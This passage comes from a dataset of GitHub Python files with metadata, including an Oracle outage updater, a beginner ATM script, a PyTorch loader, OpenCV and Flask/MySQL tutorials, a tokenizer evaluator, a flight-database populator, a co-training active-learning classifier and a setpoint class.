"usage_type": "attribute"}, {"api_name": "src.exceptions.provider.ProviderErrorException", "line_number": 18, "usage_type": "name"}, {"api_name": "src.schemas.user.UserOutput", "line_number": 21, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 13, "usage_type": "name"}, {"api_name": "src.schemas.user.UserOutput", "line_number": 13, "usage_type": "name"}]}
{"seq_id": "8217314456", "text": "import datetime as dt\nimport cx_Oracle\nfrom src.app.externalOutages.getReasonId import getReasonId\nfrom typing import List, Tuple, Any\nimport datetime as dt\n\n\ndef updateRtoRevivalData(pwcDbConnStr: str, rtoId: int, revivalDt: dt.datetime,\n                         remarks: str) -> bool:\n    isEditSuccess = True\n    # check for valid rto id\n    if rtoId == None or rtoId < 1:\n        return False\n\n    updateInfo: List[Tuple[str, Any]] = []\n    # check for valid reason\n    if not(remarks == None) and not(remarks == \"\"):\n        updateInfo.append((\"REVIVAL_REMARKS\", remarks))\n\n    updateInfo.append((\"MODIFIED_DATE\", dt.datetime.now()))\n\n    # check for valid outage date\n    if not revivalDt == None:\n        revivalDate: dt.datetime = dt.datetime(\n            revivalDt.year, revivalDt.month, revivalDt.day)\n        revivalTime: str = dt.datetime.strftime(revivalDt, \"%H:%M\")\n        updateInfo.append((\"REVIVED_DATE\", revivalDate))\n        updateInfo.append((\"REVIVED_TIME\", revivalTime))\n\n    sqlSetString = ','.join([\"{0}=:{1}\".format(uInf[0], iInd+1)\n                             for iInd, uInf in enumerate(updateInfo)])\n\n    rtoUpdateSql = \"\"\"\n    update reporting_web_ui_uat.real_time_outage rto set {0} where rto.id=:{1}\n    \"\"\".format(sqlSetString, len(updateInfo)+1)\n\n    updateVals: List[Any] = [uInf[1] for uInf in updateInfo]\n    updateVals.append(rtoId)\n\n    dbConn = None\n    dbCur = None\n    try:\n        # get connection with raw data table\n        dbConn = cx_Oracle.connect(pwcDbConnStr)\n\n        # get cursor for raw data table\n        dbCur = dbConn.cursor()\n\n        # run rto update sql\n        dbCur.execute(rtoUpdateSql, updateVals)\n\n        # commit the changes\n        dbConn.commit()\n    except Exception as err:\n        isEditSuccess = False\n        print('Error while updating real time outage entry revival data in pwc table')\n        print(err)\n    finally:\n        # closing database cursor and connection\n        if dbCur is not None:\n            dbCur.close()\n        if dbConn is not None:\n            dbConn.close()\n    return isEditSuccess\n", "repo_name": "nagasudhirpulla/wrldc_codebook", "sub_path": "src/app/externalOutages/updateRtoRevivalData.py", "file_name": "updateRtoRevivalData.py", "file_ext": "py", "file_size_in_byte": 2082, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.datetime", "line_number": 8, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 15, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 20, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 24, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strftime", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 37, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 37, "usage_type": "name"}, {"api_name": "cx_Oracle.connect", "line_number": 44, "usage_type": "call"}]}
{"seq_id": "4917789865", "text": "#Python Exercise: Creating a cash machine with bank account (using a file with client data) \n#Check the json file \"bank_account.json\" \n\nimport json\nimport time \n\nwith open('bank_account.json', 'r') as info: \n    account_data= json.loads(info.read()) \n\nprint ('Initializing the cash machine...')\ntime.sleep(2)\nprint ('User name: ', account_data[\"user\"],'/ Account balance: ', account_data[\"balance\"])\n\ncurrent_balance= int(account_data[\"balance\"])\noperation= int(input('Insert 1 to withdrawal or 2 to deposit: '))\n\nif operation == 1:\n    withdrawal_amount= int(input('Insert the amount to withdrawal: '))\n    if withdrawal_amount > current_balance:\n        print('Your balance account is not enough.')\n    else:\n        current_balance -= withdrawal_amount\n\nelif operation == 2:\n    deposit_amount= int(input('Insert the amount to deposit: '))\n    current_balance += deposit_amount\n\nelse:\n    print('Invalid Operation!')  \naccount_data[\"balance\"] = current_balance  \n\nwith open('bank_account.json', 'w') as file:\n    data_to_text= json.dumps(account_data) \n    file.write(data_to_text)\n\nprint('You current amount is: ', current_balance)  \nprint('You have finish the operation.')  ", "repo_name": "stellamoraes/python-beginner", "sub_path": "cash_machine.py", "file_name": "cash_machine.py", "file_ext": "py", "file_size_in_byte": 1179, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.loads", "line_number": 8, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 11, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 33, "usage_type": "call"}]}
{"seq_id": "27455505819", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom torch.utils.data import DataLoader\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms\nfrom torch.optim import Adam\n\nfrom tools.utils import *\nfrom tools.unprocess import * \n\nclass LoadData(Dataset):\n    def __init__(self, root, rgb_files, raw_files=None, debug=False, test=None):\n        self.root = root\n        self.test = test\n        self.rgbs = sorted(rgb_files)\n        if self.test:\n            self.raws = None\n        else:\n            self.raws = sorted(raw_files)\n        self.debug = debug\n        if self.debug:\n            self.rgbs = self.rgbs[:100] \n            self.raws = self.raws[:100]\n        \n    def __len__(self):\n        return len(self.rgbs)\n\n    def __getitem__(self, idx):\n        rgb = load_img (self.rgbs[idx], norm=True) \n        # rgb = oe_mask(rgb.transpose(2, 0, 1)) \n        rgb = yuv_oe_mask(rgb.transpose(2, 0, 1)) \n\n        rgb = torch.from_numpy(rgb) \n\n        # ps = 128\n        # ps_temp = ps*2 + 16 \n        # H = rgb.shape[0] \n        # W = rgb.shape[1]\n        # r = np.random.randint(0, H - ps_temp)\n        # c = np.random.randint(0, W - ps_temp)\n        # if r%2!=0: r = r-1\n        # if c%2!=0: c = c-1\n        # rgb_patch = rgb[r:r + ps_temp, c:c + ps_temp, :] \n        # print(rgb_patch.shape)\n\n        # rgb = torch.from_numpy(rgb_patch.transpose((2, 0, 1))) \n        \n        if self.test: \n            return rgb, self.rgbs[idx] \n        else:\n            raw = load_raw (self.raws[idx]) \n            raw = torch.from_numpy(raw.transpose((2, 0, 1))) \n            return rgb, raw, self.rgbs[idx]\n            \n            # raw_patch = raw[r:r + ps_temp, c:c + ps_temp, :] \n            # raw = torch.from_numpy(raw_patch.transpose((2, 0, 1))) \n            # return rgb, raw\n", "repo_name": "SenseBrainTech/overexposure-mask-reverse-ISP", "sub_path": "tools/dataloader.py", "file_name": "dataloader.py", "file_ext": "py", "file_size_in_byte": 1819, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 13, "usage_type": "name"}, {"api_name": "torch.from_numpy", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 54, "usage_type": "call"}]}
{"seq_id": "40526194120", "text": "import cv2\nimport numpy as np\n\n\n# 画像を読み込む\nimg = cv2.imread('./tmp/maru.png')\nprint(img.shape)\n\nprint(img.dtype)\n# グレースケールに変換\nimg_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n# 二値化する(白黒反転させた)\nth,img_otu = cv2.threshold(img_gray, 128, 255,cv2.THRESH_BINARY_INV)\nprint(th)\n\n# 輪郭を抽出する\n# image, contours, hierarchy = cv2.findContours(入力画像, 抽出モード, 近似手法)\ncontours, hierarchy = cv2.findContours(img_otu, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\ncv2.imwrite('./tmp1/outline_img.jpg',contours)", "repo_name": "etckanikama/Congnition-for-OpenCV", "sub_path": "sample.py", "file_name": "sample.py", "file_ext": "py", "file_size_in_byte": 585, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.imread", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 11, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 13, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 18, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 18, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 20, "usage_type": "call"}]}
{"seq_id": "41852364205", "text": "from flask import Flask, render_template\nfrom flask_mysqldb import MySQL\n\n\napp = Flask(__name__)\n\n# Konfigurasi alamat ke database\napp.config[\"MYSQL_HOST\"] = \"localhost\"\napp.config[\"MYSQL_USER\"] = \"root\"\napp.config[\"MYSQL_PASSWORD\"] = \"\"\napp.config[\"MYSQL_DB\"] = \"flask_latihan\"  # Sesuaikan dengan nama database yang dibuat\n\n# Inisiasi MySQL ke Flask\nmysql = MySQL(app)\n\n\n@app.route(\"/\")  # rute alamat \"localhost:5000/\"\ndef index():\n    # Cursor mysql\n    cur = mysql.connection.cursor()\n\n    # Eksekusi kueri\n    cur.execute(\"SELECT * FROM users\")\n\n    # Tampung seluruh data dari kueri yang dieksekusi\n    users = cur.fetchall()\n\n    # Tutup Koneksi\n    cur.close()\n\n    # masukkan data users kedalam dictionary data\n    data = {\"title\": \"Home\", \"users\": users}\n\n    # Render file index.html beserta data\n    return render_template(\"index.html\", data=data)\n\n\n@app.route(\"/about\")  # rute alamat \"localhost:5000/about\"\ndef about():\n    return render_template(\"about.html\")  # Render file about.html\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n", "repo_name": "Prawirdani/Pemrograman-Web-Praktik-IX", "sub_path": "BAB IV - Integrasi Flask dan MySQL/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1055, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "flask_mysqldb.MySQL", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 40, "usage_type": "call"}]}
{"seq_id": "72259059109", "text": "import unicodedata\nfrom typing import Union\n\nimport sentencepiece as spm\nimport springs as sp\nfrom cached_path import cached_path\n\n\n@sp.dataclass\nclass SentencePieceEvalConfig:\n    model_path: str = sp.MISSING\n    normalization: Union[str, None] = sp.field(\n        default=\"NFC\", help=\"Choose between NFC (default), NFKC, NFD, NFKD, or None.\"\n    )\n\n\n@sp.cli(SentencePieceEvalConfig)\ndef eval_tokenizer(config: SentencePieceEvalConfig):\n    # load sentencepiece tokenizer model\n    sp_model = spm.SentencePieceProcessor()\n\n    sp_model.Load(str(cached_path(config.model_path)))\n\n    texts = [\n        \"This is a test.\",\n        \"This is another test.\\nI love tests!\",\n        \"This is a test with 33 data points.\\tAnd some tabs. And other things.\",\n        \"This has spaces. And things. And more spaces.\",\n    ]\n\n    for text in texts:\n        if config.normalization:\n            text = unicodedata.normalize(config.normalization, text)\n\n        enc = sp_model.EncodeAsPieces(text)\n        dec = sp_model.DecodePieces(enc)\n        print(\"Encoded: \", enc)\n        print(\"Decoded: \", dec)\n        print(\"\\n\")\n\n\nif __name__ == \"__main__\":\n    eval_tokenizer()\n", "repo_name": "RAIVNLab/MatFormer-OLMo", "sub_path": "tokenizer/src/olmo_tokenizer/spm/eval.py", "file_name": "eval.py", "file_ext": "py", "file_size_in_byte": 1159, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "springs.MISSING", "line_number": 11, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 12, "usage_type": "name"}, {"api_name": "springs.field", "line_number": 12, "usage_type": "call"}, {"api_name": "springs.dataclass", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sentencepiece.SentencePieceProcessor", "line_number": 20, "usage_type": "call"}, {"api_name": "cached_path.cached_path", "line_number": 22, "usage_type": "call"}, {"api_name": "unicodedata.normalize", "line_number": 33, "usage_type": "call"}, {"api_name": "springs.cli", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "21950143569", "text": "import os\nimport requests\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nfrom models import (\n    Airport,\n    Base,\n    City,\n    Continent,\n    Country,\n)\nfrom skyscanner_facade import (\n    API_KEY,\n    API_URL,\n)\n\n\ndef _prepare_db():\n    # Initialize the database :: Connection & Metadata retrieval\n    basedir = os.path.abspath(os.path.dirname(__file__))\n    engine = create_engine(\n        'sqlite:///' + os.path.join(basedir, 'skyscanner.db'),\n        pool_recycle=3600,\n    )\n    Session = sessionmaker(bind=engine)\n    # Create all tables that do not already exist\n    Base.metadata.create_all(engine)\n    return Session()\n\n\ndef _get_json():\n    return requests.get(API_URL + 'geo/v1.0', params={'apiKey': API_KEY}).json()\n\n\ndef _parse_and_write_json(db_session, json_):\n    for continent in json_['Continents']:\n        continent_ = Continent(id=continent['Id'], name=continent['Name'])\n        db_session.add(continent_)\n        for country in continent['Countries']:\n            country_ = Country(\n                id=country['Id'],\n                name=country['Name'],\n                currency_id=country['CurrencyId'],\n                continent_id=continent['Id'],\n            )\n            db_session.add(country_)\n            for city in country['Cities']:\n                lon, lat = [\n                    float(x.strip()) for x in city['Location'].split(',')\n                ]\n                city_ = City(\n                    id=city['Id'],\n                    iata_code=city['IataCode'],\n                    name=city['Name'],\n                    longtitude=lon,\n                    latitude=lat,\n                    country_id=country['Id'],\n                )\n                db_session.add(city_)\n                for airport in city['Airports']:\n                    lon, lat = [\n                        float(x.strip()) for x in airport['Location'].split(',')\n                    ]\n                    airport_ = Airport(\n                        id=airport['Id'],\n                        name=airport['Name'],\n                        latitude=lat,\n                        longtitude=lon,\n                        city_id=city['Id'],\n                    )\n                    db_session.add(airport_)\n    db_session.commit()\n\n\nif __name__ == '__main__':\n    db_session = _prepare_db()\n    # _parse_and_write_json(db_session, _get_json())\n    ids = [x.id for x in db_session.query(Country).all()]\n    print('PL' in ids)\n", "repo_name": "skarzi/starthack", "sub_path": "populate_db.py", "file_name": "populate_db.py", "file_ext": "py", "file_size_in_byte": 2471, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.abspath", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 27, "usage_type": "call"}, {"api_name": "models.Base.metadata.create_all", "line_number": 29, "usage_type": "call"}, {"api_name": "models.Base.metadata", "line_number": 29, "usage_type": "attribute"}, {"api_name": "models.Base", "line_number": 29, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 34, "usage_type": "call"}, {"api_name": "skyscanner_facade.API_URL", "line_number": 34, "usage_type": "name"}, {"api_name": "skyscanner_facade.API_KEY", "line_number": 34, "usage_type": "name"}, {"api_name": "models.Continent", "line_number": 39, "usage_type": "call"}, {"api_name": "models.Country", "line_number": 42, "usage_type": "call"}, {"api_name": "models.City", "line_number": 53, "usage_type": "call"}, {"api_name": "models.Airport", "line_number": 66, "usage_type": "call"}, {"api_name": "models.Country", "line_number": 80, "usage_type": "argument"}]}
{"seq_id": "24509745818", "text": "from multiprocessing.dummy import Array\nfrom typing import List, Optional, Union\nfrom co2al_method.query_strategy import *\nimport numpy as np\nimport torch\nimport os\nimport xgboost as xgb\nfrom ray.tune.schedulers import ASHAScheduler\nfrom ray import tune\nfrom ray.tune.integration.xgboost import TuneReportCheckpointCallback\nfrom graph_based.utils.evaluate import eval_hybrid\nfrom graph_based.utils.loader import  get_dataset\nfrom graph_based.train import train_hybrid\nfrom sklearn.metrics import confusion_matrix, classification_report, f1_score, accuracy_score\ndef converter(arr: Optional[Union[np.array, torch.Tensor]]) -> np.array:\n    if not isinstance(arr, np.ndarray):\n        return arr.cpu().numpy()\n    return arr\n\n\ndef get_data_graph(nodes,links):\n    dataset, _ , adj = get_dataset(nodes, links, nodes.shape[0]) \n    return dataset, adj\n\nclass SSLClassifier():\n    def __init__(self,\n                 estimators: List,\n                 X_trains: List,\n                 y_train: Array,\n                 X_vals: List,\n                 y_val: Array,\n                 links: None,\n                 p: int = 20,\n                 n: int = 20,\n                 k: int = 50,\n                 unlabeled_pool_size: int = 1000,\n                 type_ssl: str = 'al',\n                 type_estimator: str = 'featurebased'):\n        \"\"\"Khai báo\n\n        Args:\n            estimators (List): List các estimators\n            X_trains (List): List data train cho các estimators\n                            - X_trains length: n_views\n                            - X_trains[i] shape: (n_samples, n_features_i)\n            y_train (Array): labels data train. \n                            - y_train shape: (n_samples,)\n            X_vals (List): Danh sách data validation cho các estimators, nếu estimators_i là graph based thì X_vals[i] = [Nodes,Links].\n                            - X_vals length: n_views\n                            - X_vals[i] shape: (n_samples, n_features_i) nếu estimators_i không là graph based \n            y_val (Array): labels data val. \n                            - y_val shape: (n_samples,)\n            links: Nếu có graphbased thì khai báo thêm links\n            p (int, optional): số lượng positive muốn lấy từ data unlabeled vào data train. Defaults to 20.\n            n (int, optional): số lượng negative muốn lấy từ data unlabeled vào data train. Defaults to 20.\n            type_ssl (str, optional): SemiSupervised learning method, gồm 'al', 'coal', 'co2al' . Defaults to 'al'.\n            type_estimator (str, optional): gồm 2 phương pháp 'fb' và 'gb'\n        \"\"\"\n\n        #Nếu không truyền vào estimators_i, SSL method là Active learning\n        self.estimators = estimators\n        self.links = links\n        if len(self.estimators) == 1:\n            self.type_ssl = 'al'\n            self.type_estimator = 'fb'\n        else:\n            self.type_ssl = type_ssl\n            self.type_estimator = type_estimator\n        self.n_views = len(self.estimators)\n        self.X_trains, self.y_train = X_trains, y_train\n        self.X_vals, self.y_val = X_vals, y_val\n        self.class_name_ = \"SSLClassifier\"\n        self.p_, self.n_, self.k, self.unlabeled_pool_size = p, n, k, unlabeled_pool_size\n\n    def fit(self, X_pools: List, y_pool: np.array):\n        \"\"\"_summary_\n\n        Args:\n            X_pools (List): Danh sách data unlabeled cho 2 estimators\n                            - X_pools length: n_views\n                            - X_pools[i] shape: (n_samples, n_features_i)\n            y_pool (Array): labels mà user đã report cho unlabeled data. \n                            - y_pool shape: (n_samples,)\n            Returns\n            -------\n            self : returns an instance of self\n        \"\"\"\n        acc_1,f_1,acc_2,f_2 = [],[],[],[]\n        self.y_train = np.repeat(self.y_train[None, ...], self.n_views, axis=0)\n        self.y_val = np.repeat(self.y_val[None, ...], self.n_views, axis=0)\n        # machine epsilon\n        eps = np.finfo(float).eps\n        # number of rounds of co-training\n        counter = 0 \n        # set of unlabeled samples\n        U = np.array(range(X_pools[0].shape[0]))\n        # shuffle unlabeled_pool data for easy random access\n        np.random.shuffle(U)\n        # the small pool of unlabled samples to draw from in training\n        unlabeled_pool = U[-min(len(U), self.unlabeled_pool_size):]\n        # remove the pool from overall unlabeled data\n        U = U[:-len(unlabeled_pool)].tolist()    \n        dataset_val, adj_val = get_data_graph(self.X_vals[1], self.links)\n        _,  f1, acc, _ = eval_hybrid(self.estimators[1], dataset_val.data, dataset_val.targets, adj_val)\n        print(f1, acc)\n        while counter < self.k and U:\n            counter += 1 \n            print(counter)\n            temp = [X_pools[0][unlabeled_pool],X_pools[1][unlabeled_pool]]\n            # define input cho graph:\n            if self.type_estimator == 'gb':\n                dataset, adj = get_data_graph(temp[1], self.links)\n                # predict\n                _, _, _, prob2 = eval_hybrid(self.estimators[1], dataset.data, dataset.targets, adj)\n                prob = np.array([\n                    converter(self.estimators[0].predict_proba(temp[0][:,1:-1])),\n                    converter(prob2)\n                ])\n            # Lấy index mẫu mới từ unlabeled data bằng 3 Active learning method:\n            al_indices = np.unique(np.concatenate(\n                (np.repeat(get_random_items(temp[0], round(self.p_ * 0.2)),2,0),\n                entropy_sampling(prob, self.p_), margin_sampling(prob, self.p_)),\n                axis=1),\n                                axis=1)\n            # Nếu chỉ dùng Active learning thì ct_indices rỗng\n            ct_indices = np.empty((self.n_views, 0), int)\n            # Lấy index mẫu mới từ unlabeled data bằng Cotrain method\n            if not self.type_ssl == 'al':\n                prob = np.log(prob) + eps\n                negative_indices = get_index_cotrain(prob[:, :, 0], np.log(0.5),\n                                                    self.n_)\n                positive_indices = get_index_cotrain(prob[:, :, 1], np.log(0.5),\n                                                    self.p_)\n                ct_indices = np.unique(np.concatenate(\n                    (negative_indices, positive_indices), axis=1),\n                                    axis=1)\n            # Lấy index train và val:\n            query_index_trains, query_index_vals = get_query_index(\n                al_indices, ct_indices, self.type_ssl, self.n_views)\n            # Cập nhật data train, validation   \n            self.y_train = np.concatenate((self.y_train,\n                                            np.array(\n                                                [y_pool[query_index_trains[i]] for i in range(self.n_views)])),\n                                            axis=1)\n            self.X_trains = [np.concatenate((self.X_trains[i],\n                                             temp[i][query_index_trains[i]]), axis= 0) \n                             for i in range(self.n_views)]\n            if self.type_ssl == 'al':\n                y_val = np.concatenate((self.y_val,\n                                        np.array(\n                                            [y_pool[query_index_vals[i]] for i in range(self.n_views)])),\n                                        axis=1)\n                X_vals = [np.concatenate((self.X_vals[i],\n                                                temp[i][query_index_vals[i]]), axis= 0) \n                                for i in range(self.n_views)]\n            else:\n                self.y_val = np.concatenate((self.y_val,\n                                        np.array(\n                                            [y_pool[query_index_vals[i]] for i in range(self.n_views)])),\n                                        axis=1)\n                self.X_vals = [np.concatenate((self.X_vals[i],\n                                                temp[i][query_index_vals[i]]), axis= 0) \n                                for i in range(self.n_views)]          \n            # fit vào dữ liệu mới\n            if self.type_estimator == 'gb':\n                dataset_train, adj_train = get_data_graph(self.X_trains[1], self.links)\n                dataset_val, adj_val = get_data_graph(self.X_vals[1], self.links)\n                self.estimators[1], _ = train_hybrid(self.estimators[1], dataset_train, adj_train, 'adamw', 'multilabel', 'cuda', 5e-4, 500)\n                _,  f1, acc, _ = eval_hybrid(self.estimators[1], dataset_val.data, dataset_val.targets, adj_val)\n                print(f1, acc)\n                acc_2.append(acc)\n                f_2.append(f1)    \n                #__________________________________________________\n                self.estimators[0] = self.estimators[0].fit(self.X_trains[0][:,1:-1], self.y_train[0]) \n                prediction_test1 = self.estimators[0].predict(self.X_vals[0][:,1:-1])\n                acc_1.append(accuracy_score(self.y_val[0],prediction_test1)) \n                f_1.append(f1_score(self.y_val[0],prediction_test1))\n            unlabeled_pool = U[-min(len(U), self.unlabeled_pool_size):]\n            # remove the pool from overall unlabeled data\n            U = U[:-len(unlabeled_pool)]\n        return acc_1,f_1,acc_2,f_2\n\n    # def get_new_data(self):\n    #     y_train_new = np.array([np.concatenate(\n    #         (self.y_val,\n    #          self.y_train),\n    #         axis=1).T])\n    #     X_train_new = np.concatenate(\n    #         (self.X_vals,\n    #          self.X_trains),\n    #         axis=1)\n    #     array_train_new = np.concatenate((X_train_new, y_train_new),\n    #                                      axis=2)\n    #     return array_train_new", "repo_name": "longnguyenQB/Luanvan", "sub_path": "Co2Al/co2al_method/ssl.py", "file_name": "ssl.py", "file_ext": "py", "file_size_in_byte": 9848, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.Optional", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 15, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 16, "usage_type": "attribute"}, {"api_name": "graph_based.utils.loader.get_dataset", "line_number": 22, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 27, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 28, "usage_type": "name"}, {"api_name": "multiprocessing.dummy.Array", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 30, "usage_type": "name"}, {"api_name": "multiprocessing.dummy.Array", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 75, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 75, "usage_type": "attribute"}, {"api_name": "numpy.repeat", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.finfo", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 98, "usage_type": "attribute"}, {"api_name": "graph_based.utils.evaluate.eval_hybrid", "line_number": 104, "usage_type": "call"}, {"api_name": "graph_based.utils.evaluate.eval_hybrid", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 161, "usage_type": "call"}, {"api_name": "graph_based.train.train_hybrid", "line_number": 168, "usage_type": "call"}, {"api_name": "graph_based.utils.evaluate.eval_hybrid", "line_number": 169, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 176, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 177, "usage_type": "call"}]}
{"seq_id": "23083524053", "text": "import datetime\nimport io\nimport time\nimport threading\nfrom types import ModuleType\nfrom typing import Union, Callable\n\n\nALLOWED_DTYPES = [\n    int.__name__, \n    float.__name__, \n    bool.__name__, \n    list.__name__, \n    datetime.__name__, \n    str.__name__\n]\n\n\nclass Setpoint(object):\n    \"\"\"\n    A class to provide simple interaction with Recipe values that\n    appear as User Params on the Aqueduct Recipe Builder UI.\n\n    :param name: name of the Setpoint, will be displayed on the UI, should be unique\n    :type name: str, required\n    :param value: value to be assigned to the Setpoint on creating\n    :type value: float, int, bool, str, datetime.datetime, list, required\n    :param dtype: specify the type of value, used to ensure that Users cannot\n        enter an invalid value\n    :type dtype: {'int', 'float', 'bool', 'list', 'datetime', 'str'}, optional\n    \"\"\"\n\n    name: str = None\n    value: Union[float, int, bool, str, datetime.datetime, list] = None\n    dtype: str = None\n    timestamp = None\n    on_change: Callable = None\n    args: list = []\n    kwargs: dict = {}\n\n    __user_id__: str = None\n    __aqueduct__: \"Aqueduct\" = None\n\n    def __init__(self, name: str, value: Union[float, int, bool, str, datetime.datetime, list], dtype: str = None):\n        \"\"\"\n        Constructor method.\n        \"\"\"\n\n        if dtype is None:\n            try:\n                dtype = type(value).__name__\n                if dtype not in ALLOWED_DTYPES:\n                    raise ValueError(\"Object of type {} is not allowed as a Setpoint\".format({dtype}))\n            except Exception:\n                raise ValueError(\"Invalid Aqueduct Setpoint\")\n\n        self.name = name\n        self.value = value\n        self.dtype = dtype\n\n    def __del__(self):\n        \"\"\"\n        Destructor method.\n        \"\"\"\n        if self.__aqueduct__ is not None:\n            try:\n                self.__aqueduct__.__setpoints__.pop(self.name)\n            except KeyError:\n                pass\n\n    def __update__(self) -> None:\n        \"\"\"\n        Private method to update the setpoint. Not for API use.\n\n        :return:\n        \"\"\"\n        return\n\n    def get(self):\n\n        return self.value\n\n    def update(self, value):\n\n        self.value = value\n        self.__update__()", "repo_name": "aqueductfluidics/example_projects", "sub_path": "aqueduct/setpoint.py", "file_name": "setpoint.py", "file_ext": "py", "file_size_in_byte": 2266, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.__name__", "line_number": 14, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 34, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 34, "usage_type": "attribute"}, {"api_name": "typing.Callable", "line_number": 37, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 44, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 44, "usage_type": "attribute"}]}
